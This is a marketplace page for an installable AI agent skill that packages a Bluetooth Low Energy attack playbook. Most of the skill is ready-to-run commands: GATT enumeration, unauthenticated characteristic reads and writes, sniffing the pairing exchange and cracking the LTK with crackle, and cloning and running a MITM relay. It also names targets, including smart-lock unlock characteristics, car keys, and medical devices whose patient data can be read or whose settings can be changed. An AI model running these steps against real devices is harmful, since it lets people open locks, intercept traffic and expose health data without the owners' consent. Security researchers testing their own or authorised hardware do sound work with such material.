offensive-bluetooth-ble
Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairin
v2026.11.11-fd814413 installs+3 in 7 days11.2K StarsMITsynced 13 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install snailsploit/offensive-bluetooth-bleWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Packagee29dcf26…26df3355
e29dcf260d34…7dc626df33551 file · 3.0 KBScanLow1 finding
- Links to outside domains
Sourcegithub.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-bluetooth-ble@fd81441
On this page
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Quick Workflow
- Discover and enumerate the device's GATT tree
- Test every characteristic for read/write/notify without authentication
- Inspect pairing method — Just Works = no MITM protection
- If Just Works, MITM the pairing to capture / inject
- Reverse the companion app for proprietary command formats
Discovery + GATT Enumeration
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01Common findings on consumer BLE devices:
- Door locks:
unlockcharacteristic accepts any write (no auth) - Smart bulbs: brightness/color writeable from any peer
- Wearables: PIN/lock-state readable
- BLE beacons: configurable from any peer (rebrand attacks)
Pairing Method Identification
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works| Method | Security | Attack |
|---|---|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
Sniffing the Pairing Exchange
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorksFor LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
Active MITM During Pairing
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.pyIf pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
Companion App Reverse Engineering
For vendor-defined characteristics, the format is in the app:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air valuesHand off to offensive-mobile for deeper companion analysis.
Specific Device Classes
Smart Locks
- Test
unlockcharacteristic for unauth write - Test if rolling token is replayable (capture-and-replay within window)
- Check for hardcoded LTK in firmware (chip-off + binary analysis — see
offensive-iot)
Cars (BLE Phone-as-Key)
- Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
- Pairing-state machine flaws
Medical Devices
- Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
- Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)
Beacons (iBeacon, Eddystone)
- Often configurable with default password (
0000,12345678, vendor-specific) - Rebrand for tracking-confusion or counter-marketing
Detection Considerations
- BLE has no native intrusion detection comparable to Wi-Fi WIDS
- Vendor cloud may detect anomalous characteristic patterns (rare)
- Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion
Engagement Cheatsheet
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apkKey References
- Sniffle: github.com/nccgroup/Sniffle
- crackle: github.com/mikeryan/crackle
- bettercap BLE module: bettercap.org
- Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP
- "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Files in this version
- SKILL.md6.5 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.11-fd81441 | Nov 13, 2026 | fd81441 | e29dcf26 | Signed | – |
More from SnailSploit
All from this publisherMore in Network, wireless and telecom
See the category- performing-network-packet-capture-analysismukul975/performing-network-packet-capture-analysis4
- network-segmentation-reviewsecurityskills/network-segmentation-review3
- performing-ssl-stripping-attackmukul975/performing-ssl-stripping-attack3
- implementing-next-generation-firewall-with-palo-altomukul975/implementing-next-generation-firewall-with-palo-alto3
- configuring-zscaler-private-access-for-ztnamukul975/configuring-zscaler-private-access-for-ztna3
- implementing-canary-tokens-for-network-intrusionmukul975/implementing-canary-tokens-for-network-intrusion3
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login